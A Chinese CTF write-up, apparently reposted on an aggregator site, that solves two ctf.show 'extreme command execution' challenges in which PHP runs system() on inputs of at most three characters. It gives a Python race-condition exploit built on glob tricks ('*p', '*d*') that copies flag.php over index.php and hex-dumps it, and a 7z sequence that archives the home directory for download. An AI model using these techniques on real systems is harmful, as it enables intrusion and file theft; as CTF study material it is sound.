当前位置: 首页 > news >正文

极限RCE之三字节RCE

极限命令执行6

<?php
error_reporting(0);
if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (is_string($ctfshow) && strlen($ctfshow) <= 3) {sleep(1);system($ctfshow);}
}else{highlight_file(__FILE__);
}
?>

限定字符长度,先简单的ls,发现有文件(flag.php index.php)
如何去看看有哪些两个字母的命令:
在这里插入图片描述
然后这里面hd是hexdump的缩写可以用来读取文件。然后呢我们要利用的还有一点就是*d*这个就是会匹配到当前文件下带d的字符,即 hd index.php从而读取index.php,所以只需将flag.php的内容覆盖到index.php。但是要条件竞争!

import requestsurl = "http://7b219e58-e304-4f4e-bcd3-d8eaf6cdd8cc.challenge.ctf.show/"requests.post(url, data={"ctf_show": ">cp"})
requests.post(url, data={"ctf_show": ">hd"})try:requests.post(url, data={"ctf_show": "*p"}, timeout=0.1)
except:passr = requests.post(url, data={"ctf_show": "*d*"})print(r.text)

极限命令执行7

<?php
error_reporting(0);#go back home , your flag is not here!if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (is_string($ctfshow) && strlen($ctfshow) <= 3) {system($ctfshow);}
}else{highlight_file(__FILE__);
}
?>

这里用到的命令就是7z(一个用于解压缩的命令)

7z a archive.7z file1 file2 dir1
a = add,表示创建压缩包
archive.7z = 生成的压缩文件名
file1 file2 dir1 = 要打包的文件和目录

~会自动展开为你的家目录的完整路径。
payload:

7z
a
b
* ~

然后下载b.7z压缩包即可!

小结

单独使用*表示将当前目录第一个文件名当作命令执行,其余文件名当作这个命令的参数!

http://www.xdnf.cn/news/1376191.html

相关文章:

  • Go+Gdal 完成高性能GIS数据空间分析
  • 怎么解决大模型幻觉问题
  • NSSCTF 4th WP
  • React(面试)
  • 深度讲解智能体:ReACT Agent
  • Python包发布与分发策略:从开发到生产的最佳实践(续)
  • 基于 Ultralytics YOLO11与 TrackZone 的驱动的高效区域目标跟踪方案实践
  • Effective c++ 35条款详解
  • 【测试】pytest测试环境搭建
  • 日志的实现
  • Java全栈开发工程师的面试实战:从基础到微服务
  • 小程子找Bug之for循环的初始化表达类型
  • Hadoop(五)
  • 2025年9月计算机二级C++语言程序设计——选择题打卡Day8
  • 设备电机状态监测:通往预测性维护与效能飞升之路
  • 深入理解C++ std::forward:完美转发的原理与应用
  • GitLab 导入/导出仓库
  • 财务报表怎么做?财务常用的报表软件都有哪些
  • 为什么 “int ” 会变成 “int”?C++ 引用折叠的原理与本质详解
  • 20.19 LoRA微调Whisper终极指南:3步实现中文语音识别错误率直降37.8%
  • 信任,AI+或人机环境系统智能的纽带
  • (一)光头整洁架构(Mediator Pattern/Result Patttern/UnitOfWork/Rich Domain)
  • k8s部署pgsql集群
  • 【PostgreSQL内核学习:通过 ExprState 提升哈希聚合与子计划执行效率】
  • Kafka 4.0 兼容性矩阵解读、升级顺序与降级边界
  • React Hooks 完全指南:从基础到高级的实战技巧
  • 路由基础(一):IP地址规划
  • 种草商城全链路技术实现指南
  • 【网络编程】NtyCo协程服务器的框架(轻量级的协程方案,人称 “小线程”)
  • 零后端、零配置:用 AI 编程工具「Cursor」15 分钟上线「Vue3 留言墙」